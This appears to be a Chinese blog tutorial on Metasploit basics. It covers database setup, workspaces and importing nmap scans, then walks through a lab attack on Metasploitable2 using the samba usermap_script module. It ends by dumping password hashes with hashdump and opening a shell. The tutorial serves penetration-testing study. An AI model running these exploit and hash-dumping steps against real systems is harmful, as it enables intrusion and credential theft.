1.metasploit基础介绍

Metasploit基础

  • Metasploit框架介绍
  • Metasploit数据库设置
  • Metasploit测试案例
  • Metasploit的升级

Metasploit框架介绍

MSF是用Ruby编写,采用模块化的方法完成渗透测试,易于拓展和代码编写。
目前支持两种界面操作:

  • msfconsole 命令行
  • armitage 图形化界面

Metasploit数据库设置

使用数据库可储存渗透信息,便于大规模操作

  1. 启动postgresql

    systemctl start postgresql
  2. 初始化数据库

    msfdb init
    数据库文件保存在 /usr/share/metasploit-freamwork/config/datebase.yml
  3. 数据库状态

    systemctl status postgresql
    或者打开框架(进入msfconsole)后使用 db_status
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MlbHYjWC-1680007313086)(1.metasploit%E5%9F%BA%E7%A1%80%E4%BB%8B%E7%BB%8D_md_files/2a9880a0-b627-11ec-b129-9d3e3b1d911b.jpeg?v=1&type=image)]
  4. 其他命令

    框架内查看帮助输入:?,可以配合 (管道与过滤命令) | grep xx命令进行精确查找

Metasploit测试案例

对Metasploitable2进行简单的测试

1.工作空间设置

workspace

工作空间帮助查询workspase -h

工作空间查看workspace

星号*所在的位置表示现在所在的空间

工作空间切换 workspace 工作空间名

新建工作空间 workspace -a metasploit2[192.168.108.132]新建多个空间可以在每个空间之间加空格

重命名 workspace -r 老名字 新名字

删除workspace -d 工作空间名 -D是删除所有空间

2.目标导入设置

  • nmap输出扫描结果文件

    namp -sV -P0 目标Ip -oA 文件名

    -sV扫描开启的服务

    -P0不进行主机存活扫描,不进行ping扫描,避免防火墙报警

    -oA输出所有格式的文件 如果位规定位置则在那个目录下执行操作保存在那个目录下

    删除之前输出的所有格式的内容rm xxx.*

  • msfconsole导入结果

3.漏洞利用代码

db_import文件路径/文件名导入文件 不加文件名可以查看可以导入的文件类型

导入文件后,可以用?查看文件的一些信息如 host查看主机或services查看服务

  • search 服务名称

    查询可以利用的漏洞攻击载荷

  • info漏洞利用代码

    info漏洞攻击载荷(它前面的数字也可以) 可以查看该载荷的使用方式和代码等信息

4.漏洞利用流程

  • use 漏洞的路径(前面的数字也可以)如 use multi/samba/usermap_script

  • options查看所要的配置

  • set配置set rhost 192.168.217.11设置ip

  • runexploit运行

  • 后台会话

    置于后台 CTRL+z键 再加y

    查看sessions

5.后渗透测试

进行其他方面的渗透

hashdump use /post/linux/gather/hashdump

设置session set session n数字n与前面的session保持一致 ,run运行

运行后还会将获取的信息保存在相关的文件夹下

loot 查看数据库信息,初次还会将数据库信息保存到本地

进一步信息通过 loot -h查询

退回到原来的模块 sessions -i 进程号

关于进程其他可以通过 sessions -h查询

shell获取靶机shell 可以改变竖屏(竖屏太难受了)

Metasploit升级

apt-get update+apt install metasploit-framework

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值